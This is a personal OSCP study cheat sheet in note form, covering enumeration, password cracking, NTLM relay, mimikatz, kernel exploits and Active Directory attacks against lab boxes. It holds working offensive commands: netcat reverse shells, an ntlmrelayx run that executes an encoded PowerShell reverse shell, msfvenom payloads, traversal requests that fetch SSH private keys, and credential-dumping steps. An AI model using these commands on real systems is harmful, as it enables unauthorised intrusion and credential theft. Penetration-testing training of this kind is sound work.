OSCP

Download as pdf or txt
Download as pdf or txt
You are on page 1of 86

SUBDOMAINS

27 September 2023 21:39

Sublist3r

sublist3r -d <domain>
sudo python3 /usr/bin/sublist3r -d thetoppers.htb
python3 /usr/bin/sublist3r -d thetoppers.htb

For searching unique certs ->search crt.sh and type domain to find more info

owasp amass (for bug bounties and sub-domains)


tomnomnom httpprobe

Username: kenneth.davies Password: Password1

dirbursting>>log.txt and error.txt >> .zip file cracking>> hashes (independent boxes and AD) >> if 5 mins or more then try pa ss the hash
individual - null session(smb share- read privs can get esc)
default-creds {good-wordlists}

independent box >> sudo nmap -Pn -sV -sC -vv -p- 10.10.10.169 --open >> microsoft powershell web-access console (win powershell web-access) >> acute and giddybox{for this} >> use xp_dirtree
on url to get hashes on responder.

last_independent >> ftp anonymous >> {creating your own rules section - mutating wordlists} >> grab every single juicy file from ftp >>

AD >> jenkins >> rev_shell on console {try}

OSCP Page 1
EXPLOITATION BASICS
06 October 2023 15:39

Reverse vs bind shell:-

A Reverse shell is nothing but an attacker forcefully requests the victim to connect to his machine. (Attacker listens)

Nc -lvp 5555 and in victim we will use nc <attackers ip / our ip> 5555 -e /bin/bash or sh on target site.

Cons:-

None but don't just rely on this as u may have to use bind.

A bind shell is nothing but an attacker [Initiator]trying to initiate the connection to the [Listener]target/victim by sending a connectio n request to that target machine.(Victim listens)

Nc -v <victim ip> <pid> in our machine and use nc -lvp <pid> -e /bin/bash or sh in target or victim's machine.

Cons:-

Firewall won't let you in as you will be initiating the connection request as there would be whitelisting and won't let ur packet in.

Not secure as anyone can intercept the traffic between u and victim and can see the data you sent.

Problems of NAT ()Network address translation & PAT (Port address translation) and in nat victim can connect to ur router ip and not ur private ip as router assigns you the private ip which is not
accessible to anyone. And in PAT the port victim will connect to will be different than your private IP has so that's major d rawback.

Popping a shell :-

Msfconsole

Search trans2open (exploit example for kioptrix)

Set rhosts to target ip and the payload if you want

Use the payload from the list or set it manually

Run it and see if it's working or dying

If dying then type set payload and tab twice to get the list and from that try to modify it to non -staged and see if it's working or not and then set it and run it until shell pops

OSCP Page 2
SCANNING AND ENUMERATION
27 September 2023 21:51

NMAP SCAN:- (only one big scan needed)


nmap -sC -sV -O -A -T4 -p- <target ip> -oN <output.txt>

nmap -p- -Pn -sCV -v -oN nmap.txt <IP>

nmap -p- -sC -sV <ip> --open (best)

else

nmap -sS -T4 -p- -A <ip addr>

for rdp remember 3389 port (note the IP, pass will be given)
for phonesploit 5555 adb port (do note this as well from nmap report)

-sV = service version detection


-O = Obviously OS detection
-sS = stealth scan
-sC = Script scan --script will be default (else you can choose)
-A = Enable OS detection, version detection, script scanning, and traceroute
-T4 = Aggressive level and speed
-p- = Scans all the ports from 1 to 65535
-oN = for saving the output which is a must in oscp

ALSO we can use

nikto -h <ip addr> for scanning outdated components of web servers

Nmap has the ability to run to automate a wide variety of networking tasks. There is a script to enumerate shares!
nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse 10.10.131.25

wpscan --url

wpscan --url --enumerate p

for nmap I always start with:


sudo nmap -Pn -sS -p- 10.11.1.116 --min-rate 10000
and then for the ports I find this:
sudo nmap -Pn -sS -sV -sC -p 22,80 10.10.10.73

On all http ports I do first this with feroxbuster:


feroxbuster --url http://10.10.10.171/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt --extract-links --depth 1

And then go deeper with ferox buster after that.


-x php
for feroxbuster if I think it is php for example

If I think that there are sub domains I will use wfuzz, for that but only if there is a name in the Host: http header
wfuzz -c -u http://10.10.10.171/ -H "Host: FUZZ.openadmin.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 964

I always run nikto and whatweb, just to tease out a bit of extra info
nikto -host 10.11.1.71
whatweb --no-errors -a 3 -v http://asio/ 2>&1

That is just the beginning.


for smb I do this:
smbclient -N -L //10.10.10.237

smbmap -H 10.10.10.237 -u dummy -p dummy

crackmapexec smb 10.10.10.237 --shares -u oxdf -p oxdf

crackmapexec smb 10.129.254.0 --shares -u '' -p ''

sudo nmap -sS -p 139,445 10.129.53.50 --script "smb-vuln*"

enum4linux -a 10.129.100.13

Scan for vuln in hosts

nmap --script vuln <target ip>

web fingerprinting using nse script for web-apps


sudo nmap -p80 --script=http-enum <ip>

Scan for alive hosts[](#scan-for-alive-hosts)

OSCP Page 3
Scan for alive hosts[](#scan-for-alive-hosts)
$ nmap -sn $ip/24

$ nmap -vvv -sn $ip/24

If you want little faster


$ nmap -sn -n $ip/24 > ip-range.txt

Auto Recon[](#auto-recon)
autorecon 10.10.10.3

Full TCP Scan[](#full-tcp-scan)


nmap -sC -sV -p- -vv -oA full 10.10.10.10

##

Port knock[](#port-knock)
for x in 7000 8000 9000; do nmap -Pn --host_timeout 201 --max-retries 0 -p $x $ip; done

##

Scan deeply[](#scan-deeply)

$ nmap -v -p- -sT $ip

Example:

$ nmap -v -p- -sT 10.0.1.0/24

This command:

- Scan all 65535 ports with full connect scan

- Take very long time

- Print out straigt away instead of having to wait until end of the scan

Tips:

Scanning this takes a long time, suggest to leave the scan running overnight, when you're sleep or move on to different box in the meantime.

Scan for specific port[](#scan-for-specific-port)


$ nmap -p T:80,443,8080 $ip/24

Use `-T`: specifies TCP ports. Use `-U`: for UDP ports.

##

Scan for unused IP addresses and store in text file[](#scan-for-unused-ip-addresses-and-store-in-text-file)


$ nmap -v -sn $ip/24 | grep down | awk '{print $5}' > filename.txt

##

Other option[](#other-option)

nmap -sV -sC -v -oA output $ip

To save time and network resources, we can also scan multiple IPs, probing for a short list of a an common ports. For example, let’s conduct a TCP connect scan for the top twenty TCP ports with kw Ma
the `--top-ports` option and enable OS version detection, script scanning, and traceroute with -A:

nmap -sT -A --top-ports=20 10.11.1.1-254 -oG top-port-sweep.txt

##

Scan targets from a text file[](#scan-targets-from-a-text-file)


Create a text file contains of our targets machine (like in method Scan for unused IP addresses and store in text file):

192.168.1.144

192.168.1.179

192.168.1.182

OSCP Page 4
192.168.1.182

Run this nmap command with `-iL`

nmap -iL list-of-ips.txt

##

Onetwopunch.sh[](#onetwopunch.sh)
Grab the latest bash script

git clone https://github.com/superkojiman/onetwopunch.git

cd onetwopunch

Create a text file contains of our targets machine (like in method Scan for unused IP addresses and store in text file):

192.168.1.144

192.168.1.179

192.168.1.182

Then, run the script and tell it to read our txt file and perform TCP scan against each target.

./onetwopunch.sh -t ip-range.txt -p tcp

So, the idea behind the script to generate a scan of 65,535 ports on the targets. The script use unicornscan to scan all ports, and make a list of those ports that are open. The script then take the open
ports and pass them to nmap for service detection.

Some useful Scripts for playing


Find script related to a service you're interested in, example here is ftp
locate .nse | grep [port name]

Example:
locate .nse | grep ftp
ls /usr/share/nmap/scripts | grep smb
Typically NSE scripts that scans for vulnerabilities are at
ls -l /usr/share/nmap/scripts/
• you can use this scripts with --script=<ScriptName> ,
• it also support wildcard entries

Help manual for scripts


What does a script do?
nmap --script-help [script name]

Example:
nmap --script-help ftp-anon

Vulnerability Scanning
We can scan for vulnerability Scanning nmap scripts:
nmap --script vuln [ip target]

Scan With All Scripts


Scan a target using all NSE scripts. May take an hour to complete.
nmap -p 80 --script=all [ip target]
nmap -p 80 --script=*vuln* [ip target]
# Scan a target using all NSE vuln scripts.
nmap -p 80 --script=http*vuln* [ip target]
# Scan a target using all HTTP vulns NSE scripts.

Scan with particular Script


nmap -p 21 --script=ftp-anon [ip target]/24
# Scan entire network for FTP servers that allow anonymous access.

Scan entire network with script


nmap -p 80 --script=http-vuln-cve2010-2861 [ip target]/24
# Scan entire network for a directory traversal vulnerability. It can even retrieve admin's password

DIRECTORY BUSTING
dirbuster& hit enter and after that u can play with some configs

dirb http://<ip>

Else manually

dirbuster -u <http.ipaddr> -l /usr/share/wordlists/dirb/common.txt

OSCP Page 5
gobuster dir -u 10.10.241.188 -w /usr/share/wordlists/dirb/big.txt

gobuster dir -u 10.10.121.51 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100

gobuster -vhost -u http://thetoppers.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt (when u find new domain after finding 1st one.)

or

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://<ip>/FUZZ

#VHOST Fuzzing : Alternative for dnsrecon/Gobuster/other

# ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.horizontall.htb" -u http://horizontall.htb --fs 194

# wfuzz -c -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.197 -H "Host: FUZZ.sneakycorp.htb" --hh 185

Exploiting SMB with <Metaploit>

Msfconsole

Search smb < and check for auxiliary smb version scanner>

Use 111

Set Rhosts with target ip

And now run it and save the version or any info

Run smbclient -L \\<ip>\\

Try to connect to that admin by

Smbclient \\<ip>\\ADMIN$ and see if it works or not

Exploiting SMB

smbclient -N -L \\\\{TARGET_IP}\\

-N : No password
-L : This option allows you to look at what services are available on a server

OSCP Page 6
PASSWORD ATTACKS
Saturday, December 2, 2023 12:28 PM

#NETWORK SERVICE LOGIN ATTACKS

sudo nmap -sV -p 2222 <ip> {to check if ssh port is open or not}

hydra -l <username> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<ip>

hydra -L /usr/share/wordlists/dirb/others/names.txt -p "<pass>" rdp://<ip>

hydra -l eve -P wordlist <ip> -t 4 ssh -V

msfconsole > search for search type:auxiliary ssh and choose >> auxiliary/scanner/ssh/ssh_login for bruteforcing of creds {al so has option to bruteforce unames.}

python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt {kerberos bruteforce for linux }

or

.\Rubeus.exe brute /users:users.txt /passwords:passwords.txt /domain:jurassic.park /outfile:jurassic_passwords.txt {kerberos br uteforce for windows}

NOTE:: If cracking takes more than 4 mins leave it :)

#HTTP POST & GET LOGIN FORMS

Hydra support various protocols such as http-get and http-post which can be used depending on the application to perform a dictionary attack to obtain the password.

web page you supplied must start with a "/", "http://" or "https://", e.g. "/protected/login"

For POST

hydra -l user -P /usr/share/wordlists/rockyou.txt <ip> http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid" {for web logins without protection}

like this :)

For GET

hydra -l admin -P /usr/share/wordlists/rockyou.txt <ip> http-get "/protected/login/username=admin&password=^PASS^" {for protected logins }

like this:)

OSCP Page 7
#PASSWORD MANAGER CRACKING

For kali install keepass2 or kpcli:)

Suppose you are logged in to a win vm with correct creds one thing you can do is go to apps & features in win to see what all apps are installed > if you find keepass or similar follow this: ->

dir C:\*.kdbx /s /a:-d /b

/s: This option tells dir to search the specified directory and all its subdirectories.
/a:-d: The /a parameter is used to filter the output based on attributes. -d specifies that directories should be excluded from the output (we're only interested in files).
/b: This option uses bare format to list the files. It shows only the file names, without additional details like file size, date, and time.

or

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

-Get-ChildItem: This is a cmdlet in PowerShell that retrieves the items (files and/or directories) in a specified location.
-Path C:\: searches in the whole drive.
-Include *.kdbx: To specify the file types we want. Here, it's set to *.kdbx, which means the cmdlet will look for files that have the .kdbx file extension.
-File -Recurse arguments to get a list of files and search in subdirectories.
-ErrorAction to SilentlyContinue to silence errors and continue execution.

Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

Get-ChildItem -Path C:\Users\<username>\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue

once you find an .kdbx file you need to extract a master password from it and you can do that by following:

keepass2john name.kdbx > name.hash

hashcat --help | grep -i 'keepass'

hashcat -m 13400 name.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

or

hashcat -m 13400 name.hash /usr/share/wordlists/rockyou.txt --force

#SSH PRIVATE KEY PASS-PHRASES

Senario1: suppose you are in a scenario in which you got pass.txt which has 5 passwords plus a set of rules and id_rsa of an user:)

As you have id_rsa you'll try the provided passwords to see if any of them works and none worked amongst them:((

it must be having a diff passphrase then provided in .txt file so we now can extract the passphrase hash from the id_rsa key of the user and crack it to get the working password/passphrase for ssh:))

we can use a tool named ssh2john for extracting hash an save it to > ssh.hash by this cmd:

ssh2john id_rsa > ssh.hash

hashcat -h | grep -i "ssh" {to identify the hash mode or can use hashid for the same:)}

In pass.tx file we got an rule to follow for passwords so let's make a rule for the same using this cmd:)

We'll use c for the capitalization of the first letter and $1 $3 $7 for the numerical values. To address the special characters, we'll create rules to append the different special characters $! , $@, and $#.

cat ssh.rule

c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

unfortunately you may get an error of token length exception using hashcat as modern keys and passphrases are created with ae s-256-ctr cipher, which hashcat's mode doesn't support :((

we will use john now but to use the rule we need to add a name of rule and append them to /etc/john/john.conf and can do this by giving the ssh.rule a name as below:->>

cat ssh.rule

[List.Rules:sshRules]
c $1 $3 $7 $!
c $1 $3 $7 $@
c $1 $3 $7 $#

sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'

OSCP Page 8
sudo sh -c 'cat ssh.rule >> /etc/john/john.conf'

john --wordlist=ssh.passwords --rules=sshRules ssh.hash

BOOM!! you got the correct passphrase to do ssh on the user :)))

2nd scenario: You don't have anything but there's a hint that you can grab an id_rsa key via directory traversal technique so for that foll ow-along;)

once you scan the ports you found this:->>

for this we already have several curl and burp cmds to check for dir -traversal:)

curl http ://<ip>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd {url-encoded ../ just to be on safer side :)}

this worked!!

now to grab and id_rsa we can use the below cmd:->

curl http ://<ip>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/<username>/.ssh/id_rsa {for checking if it exists or not with this name}

wget http: //<ip>/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/home/hellu/.ssh/id_rsa {for grabbing it onto our machine}

now the same technique as did in 1st scenario:

ssh2john id_rsa2 > hellu.hash

john --wordlist=/usr/share/wordlists/rockyou.txt --rules=sshRules ssh.hash {if there are rules for this one too you can use this cmd: ->}

or

john hellu.hash --wordlist=/usr/share/wordlists/rockyou.txt {for no rules at all this cmd: ->>}

BOOM!! you got the pass

you may also need to use this cmd :-<

rm ~/.ssh/known_hosts {if unable to login using id_rsa and get an error stating : remove with ssh -keygen -f }

#PASSWORD HASHES NTLM

run mimikatz as an administrator to capture ntlm hashes else it won't work : -<

./mimikatz.exe

privilege::debug

token::elevate

sekurlsa::msv

or

lsadump::sam

or

sekurlsa::logonpasswords

sekurlsa::logonpasswords ->which attempts to extract plaintext passwords and password hashes from all available sources. Since this generates a huge am ount of output,
lsadump::sam -> can be used which will extract the NTLM hashes from the SAM.
sekurlsa::msv ->extracts NTLM authentication credentials, such as usernames and NTLM hashes, from the Windows MSV1_0 authentication package. It focuses on NTLM-related data
privilege::debug -> used to obtain debug privileges for the Mimikatz process. This privilege is necessary to perform certain advanced operation s.

hashcat --help | grep -i 'ntlm'

hashcat -m 1000 nelly.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force {you can use it without rule too:->>}

#PASSING NTLM HASHES

OSCP Page 9
impacket-wmiexec -hashes <fullhash> Administrator@<ip>

smbclient \\\\<ip>\\secrets -U Administrator --pw-nt-hash <hash>

impacket-psexec -hashes <fullhash> Administrator@<ip>

evil-winrm -i <ip> -u administrator -H <hash>

#PASSWORD HASHES NTLMV2

Suppose we obtained an RCE on a system and we're in we can easily force it to authenticate with us by this simple cmd: ->>

dir \\ <ourip >\test

and we'll get the hash in our responder :->>>

sudo responder -I tun0

The Responder tool is excellent for this.2 It includes a built -in SMB server that handles the authentication process for us and prints all captured Net -NTLMv2 hashes.

we can easily crack this using hashcat mode 5600:->>

If we don't have obtained an RCE there are other ways too, suppose you have a file upload functionality we can try entering n on-existent file there with a UNC path like this :

\\ <ip>\share\test.txt {and if web supports uploads via a smb , then win will authenticate to our smb server i.e. Responder:))}

But to note that just 2 \\ won't work in burpsuite for web-part as in burpsuite uses the \ character as an escape character, so each \ has to be written as \\ in Burp. so you can go with below:))

\\\ <attckip>\\share\\test.txt {can write 3 or 4 depends so do test it accordingly.}

#NET-NTLMV2 RELAY ATTACK

Imagine we obtained the Net-NTLMv2 hash, but couldn't crack it because it was too complex:(

What we can assume is that the user may be a local administrator on SERVER02. Therefore, we can try to use the hash on anothe r machine in what is known as a relay attack:->>

We'll use the dir command in a bind shell to set up an SMB connection to our Kali machine, then relay the captured Net -NTLMv2 hash to FILES02. If the user, like files02admin, has local admin rights on FILES02,
we can authenticate and execute commands remotely, similar to using psexec or wmiexec. {just a scenario for explanation:)}

impacket-ntlmrelayx --no-http-server -smb2support -t <ip> -c "powershell -enc JABjAGwAaQBlAG4AdA..."

or

ntlmrelayx.py --no-http-server -smb2support -t <ip> -c "powershell -enc JABjAGwAaQBlAG4AdA..."

-impacket-ntlmrelayx package. This tool is designed to intercept and relay NTLM authentication requests.
--no-http-server: used to turn off the built-in HTTP server functionality within ntlmrelayx. Since the focus is on relaying SMB connections, the HTTP server component is unnecessary and thus disabled.
-smb2support to add support for SMB2 for compatibility with modern Windows systems that use SMB2.
-t option followed by SERVER02 or <ip> specifies the target machine to which the relayed authentication will be directed.
-c option allows the attacker to specify a command that will be executed on the target system upon successful relay. In this c ase, the command is a PowerShell reverse shell one -liner;))
-enc argument is used in PowerShell to execute the base64 -encoded command.

Now as it's setup we'll run a bind shell towards SERVER01: ->>

Start a listener on 4444 as that's the port we used for the above powershell one liner: ->>

nc <ip> 5555

dir \\ <ourip>\test

Now check ntlmrelayx as it should get an incoming connection and on other hand we would get a shell on the port 4444 listener we started :->> BOOM!!

OSCP Page 10
#EXTRAS

gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE" {for cracking gpp stored passwords in AD}

Sudo mitm6 -d <domain>

On other tab setup ntlmwith mitm6 and run this cmd first and then the above one

Ntlmrelayx.py -6 -t ldaps://<dcip> -wh fakewpad.marvel.local -l lootme only do this for like 5 to 7 mins not more than that cheers.

Crackmapexec smb ip/24 -u -d -p that's it

Crackmapexec smb ip/24 -u crckedhashuser -H <fullhash> --local-auth

Crackmapexec smb ip/24 -u crckedhashuser -H <fullhash> --local-auth --sam (for sam hashdumps)

Crackmapexec smb ip/24 -u crckedhashuser -H <fullhash> --local-auth --shares (for listing shares)

Crackmapexec smb -L (to listout all modules we can use)

Cmedb (crackmapdb in which we can see all machines ever used for crack and the hosts )

Secretsdump.py domain/user: 'pass' @ip


Secretsdump.py administrator@ip -hashes <fullhash >
Secretsdump.py domain/crtduser: 'crtdpass'@ip -just-dc-ntlm
(used to dump NTDS.dit which is a db to stored ad data including : user and group info , sec descriptors i.e. are data struc tures of security information for securable Windows objects and pass hashes.)

Hashcat to crack and many more explore yourselves

hashid '<hash>' (identify the type of hash)

hashid -m -j '<hash>'

-m mode for hashcat


-j john format for johntheripper

Sudo GetUsersSPN.py domain/<user>:<pass> -dc-ip <ip> -request

First, we can use the following find command, which is nice because the pipe into grep will make all string matches red:

find / -exec ls -lad $PWD/* "{}" 2>/dev/null \; | grep -i -I "passw\|pwd"

locate 'passw'
locate 'pwd'
locate '*.php'

Cracking ‘mysql’ Database Hashes Using Hashcat


When we copy this hash over to our attacker machine, we need to do so without the ‘*’ at the front, like so:

echo 'D37C49F9CBEFBF8B6F4B165AC703AA271E079004' > mysql.hash


We should now have a file in our current directory called mysql.hash that we can pass into hashcat to crack this hash. After this step, we can use the following command to find the crack mode for this hash
type:

hashcat -h | grep -i 'mysql'

It is often that you will find base64 encoded strings ending with one or two equal signs. This is NOT always the case though. Therefore, when you find any interesting string that consists of mostly upper case and
lower case letters, check if it is base64 encoded.

echo 'SXNoYWxsbjB0YmVjcmFja2VkIQo=' | base64 --decode

However, similar to binary files, we can use the strings command instead to pull only the strings from the file for us for .d b files

strings ./pwds.db

crunch 6 6 -t Lab%%% > wordlist {makes a pass list of 6 chars starting with lab}

watch -n 1 "ps -aux | grep pass"

-watch is a command-line tool that allows you to run any specified command at regular intervals and displays its output on the terminal.
-n 1 specifies the interval at which the command should be run, in seconds.
-ps displays information about active processes. Without any options, it shows processes associated with the current terminal.
-a displays processes from all users.
-u displays the process's user/owner in the output.
-x includes processes not attached to a terminal, ensuring a broader selection of background processes are shown.

or

sudo tcpdump -i lo -A | grep "pass" {can be only used if we have high privs}

-tcpdump is an packet analyzer or packet sniffer. It allows users to display TCP/IP and other packets being transmitted or rec eived over a network to which the computer is attached.
-i lo specifies the network interface from which packets will be captured. lo stands for "loopback", which is used for traffic sent and received by the host computer itself.
-A tells tcpdump to print each packet in ASCII. It's useful for capturing and viewing the payload within packets in a human -readable format.

OSCP Page 11
OSCP Page 12
KERNEL EXPLOITS
Friday, December 8, 2023 4:43 PM

The following exploits are known to work well, search for more exploits with searchsploit -w linux kernel centos.
Another way to find a kernel exploit is to get the specific kernel version and linux distro of the machine by doing
uname -a
cat /etc/issue
cat /etc/*-release
cat /proc/version
lscpu

Copy the kernel version and distribution, and search for it in google or in https://www.exploit-db.com/.

CVE-2022-0847 (DirtyPipe)
Linux Privilege Escalation - Linux Kernel 5.8 < 5.16.11
https://www.exploit-db.com/exploits/50808

CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
Exploit Database
// Compile with:
gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
"./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c

CVE-2010-3904 (RDS)
Linux RDS Exploit - Linux Kernel <= 2.6.36-rc8
https://www.exploit-db.com/exploits/15285/

CVE-2010-4258 (Full Nelson)


Linux Kernel 2.6.37 (RedHat / Ubuntu 10.04)
https://www.exploit-db.com/exploits/15704/

CVE-2012-0056 (Mempodipper)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64)
Linux Kernel 2.6.39 < 3.2.2 (Gentoo / Ubuntu x86/x64) - 'Mempodipper' Local Privilege Escalation (1)
Exploit Database
Linux Kernel 2.6.39 < 3.2.2 (x86/x64) - 'Mempodipper' Local Privilege Escalation (2)
Exploit Database
gcc mempodipper.c -o mempodipper
./mempodipper

CVE-2022-2588

GitHub - Markakd/CVE-2022-2588: exploit for CVE-2022-2588


GitHub

ALL-CVEs
https://github.com/SecWiki/windows-kernel-exploits

OSCP Page 13
Privilege Escalation - Kernel Exploits
Establish a shell

Kali VM

1. Open command prompt and type: msfconsole


2. In Metasploit (msf > prompt) type: use multi/handler
3. In Metasploit (msf > prompt) type: set payload windows/meterpreter/reverse_tcp
4. In Metasploit (msf > prompt) type: set lhost [Kali VM IP Address]
5. In Metasploit (msf > prompt) type: run
6. Open an additional command prompt and type: msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[Kali VM IP Address] -f exe > shell.exe
7. Copy the generated file, shell.exe, to the Windows VM.

Windows VM

1. Execute shell.exe and obtain reverse shell

Detection & Exploitation

Kali VM

1. In Metasploit (msf > prompt) type: run post/multi/recon/local_exploit_suggester


2. Identify exploit/windows/local/ms16_014_wmi_recv_notif as a potential privilege escalation
3. In Metasploit (msf > prompt) type: use exploit/windows/local/ms16_014_wmi_recv_notif
4. In Metasploit (msf > prompt) type: set SESSION [meterpreter SESSION number]
5. In Metasploit (msf > prompt) type: set LPORT 5555
6. In Metasploit (msf > prompt) type: run

NOTE: The shell might default to your eth0 during this attack. If so, ensure you type set lhost [Kali VM IP Address] and run again.

OSCP Page 14
ACTIVE DIRECTORY
31 October 2023 12:28

#BASICS

Several agents work together to provide authentication in Kerberos. These are the following:

• Client or user who wants to access to the service.


• AP (Application Server) which offers the service required by the user.
• KDC (Key Distribution Center), the main service of Kerberos, responsible of issuing the tickets, installed on the DC (Domain Controller). It is supported by the AS
(Authentication Service), which issues the TGTs.

Kerberos uses differents kinds of messages. The most interesting are the following:

• KRB_AS_REQ: Used to request the TGT to KDC.


• KRB_AS_REP: Used to deliver the TGT by KDC.
• KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT.
• KRB_TGS_REP: Used to deliver the TGS by KDC.
• KRB_AP_REQ: Used to authenticate a user against a service, using the TGS.
• KRB_AP_REP: (Optional) Used by service to identify itself against the user.
• KRB_ERROR: Message to comunicate error conditions.

#LLMNR Poisoning (Link local multicast name resolution)

sudo responder -I tun0 -dwP

I : is going to be our interface


tun0 : tunnel 0 but mainly it will be eth0
-d: This option tells Responder to run in the background as a daemon.
-w: This option enables the Responder to answer NetBIOS queries for non-existent hosts, which can be used in poisoning attacks.
-P: This option forces the capture of all types of authentication packets.

Set-ADAccountPassword sophie -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose (to reset pass in PowerShell from AD)

force a password reset at the next logon with the following command:

Set-ADUser -ChangePasswordAtLogon $true -Identity sophie -Verbose

#PASSWORD SPRAYING

python ntlm_passwordspray.py -u usernames.txt -f za.tryhackme.com -p Changeme123 -a <http://<attack url>/>

# LDAP DOMAIN ENUM

Sudo ldapdomaindump ldaps://<trgtip> -u 'MARVEL\fcastle' -p <pass>

# LDAP pass back attack

first things first host a rogue ldap sever

sudo apt-get update && sudo apt-get -y install slapd ldap-utils && sudo systemctl enable slapd

sudo dpkg-reconfigure -p low slapd

put the target name as org and dns name

create a file for downgrading the supported authentication mechanisms and ensure that ldap rogue server only supports PLAIN and LOGIN auth methods.

#olcSaslSecProps.ldif
dn: cn=config

OSCP Page 15
dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred
The file has the following properties:
• olcSaslSecProps: Specifies the SASL security properties
• noanonymous: Disables mechanisms that support anonymous login
• minssf: Specifies the minimum acceptable security strength with 0, meaning no protection.

Now we can use the ldif file to patch our LDAP server using the following:

sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./olcSaslSecProps.ldif && sudo service slapd restart

# AUTHENTICATING RELAYS

sudo responder -I <target vpn ip or tun0 or tun1> leave it for 2 to 3 mins

use the below cmd for cracking the passwd by given passlist file

hashcat -m 5600 <hash file> <password file> --force

5600 -- represents NTLMv2

boom you crcked

# MICROSOFT DEPLOYMENT TOOLKIT

x64{34F6FF6C-7E1B-4709-8942-78C14FB08A54}.bcd

ssh thm@THMJMP1.za.tryhackme.com

To ensure that all users of the network can use SSH, start by creating a folder with your username and copying the powerpxe repo into this folder:

C:\Users\THM>cd Documents
C:\Users\THM\Documents> mkdir <username>
C:\Users\THM\Documents> copy C:\powerpxe <username>\
C:\Users\THM\Documents\> cd <username>

The BCD files are always located in the /Tmp/ directory on the MDT server. We can initiate the TFTP transfer using the following command in our SSH session:

tftp -i 10.200.27.202 GET "\Tmp\x64{34F6FF6C-7E1B-4709-8942-78C14FB08A54}.bcd" conf.bcd == [TFTP is used to transfer configurations to and from network devices]

Powerpxe is a PowerShell script that automatically performs this type of attack but usually with varying results, so it is better to perform a manual approach. We will use the Get-WimFile function of powerpxe to
recover the locations of the PXE Boot images from the BCD file:

C:\Users\THM\Documents\Am0> powershell -executionpolicy bypass


Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\THM\Documents\am0> Import-Module .\PowerPXE.ps1


PS C:\Users\THM\Documents\am0> $BCDFile = "conf.bcd"
PS C:\Users\THM\Documents\am0> Get-WimFile -bcdFile $BCDFile
>> Parse the BCD file: conf.bcd
>>>> Identify wim file : <PXE Boot Image Location>
<PXE Boot Image Location>

after this

WIM files are bootable images in the Windows Imaging Format (WIM). Now that we have the location of the PXE Boot image, we can again use TFTP to download this image:

tftp -i 10.200.27.202 GET "\Boot\x64\Images\LiteTouchPE_x64.wim" pxeboot.wim

To use powerpxe to recover the credentials from the bootstrap file, run the following command:

Get-FindCredentials -WimFile pxeboot.wim

OSCP Page 16
Get-FindCredentials -WimFile pxeboot.wim

# CONFIGURATION FILES
McAfee embeds the credentials used during installation to connect back to the orchestrator in a file called ma.db. This database file can be retrieved and read with local access to the host to recover the associated
AD service account. We will be using the SSH access on THMJMP1 again for this exercise.

The ma.db file is stored in a fixed location:

Best alternative way to copy is to start a smbserver on ur machine and then simply use copy cmd from windows to take the file.

impacket-smbserver kali . -- kali

copy \\10.10.10.10\kali\reverse.exe C:\PrivEsc\reverse.exe -- win

We can use SCP to copy the ma.db to our AttackBox:

scp thm@THMJMP1.za.tryhackme.com:C:/ProgramData/McAfee/Agent/DB/ma.db .

To read the database file, we will use a tool called sqlitebrowser. We can open the database using the following command:

sqlitebrowser ma.db

now click on browse and focus on the agent tables and try to find some crucial info

download the task files for mcaffee

unzip it and run the script using :

python2 mcafee_sitelist_pwd_decrypt.py <auth_passwd value you got from sqlite>

ur in

# ENUMERATING AD via runas


runas.exe /netonly /user:<domain>\<username> cmd.exe {may or may not use /netonly option;)}
Let's look at the parameters:

/netonly - Since we are not domain-joined, we want to load the credentials for network authentication but not authenticate against a domain controller. So commands executed locally on the computer will run in
the context of your standard Windows account, but any network connections will occur using the account specified here.
/user - Here, we provide the details of the domain and the username. It is always a safe bet to use the Fully Qualified Domain Name (FQDN) instead of just the NetBIOS name of the domain since this will help with
resolution.
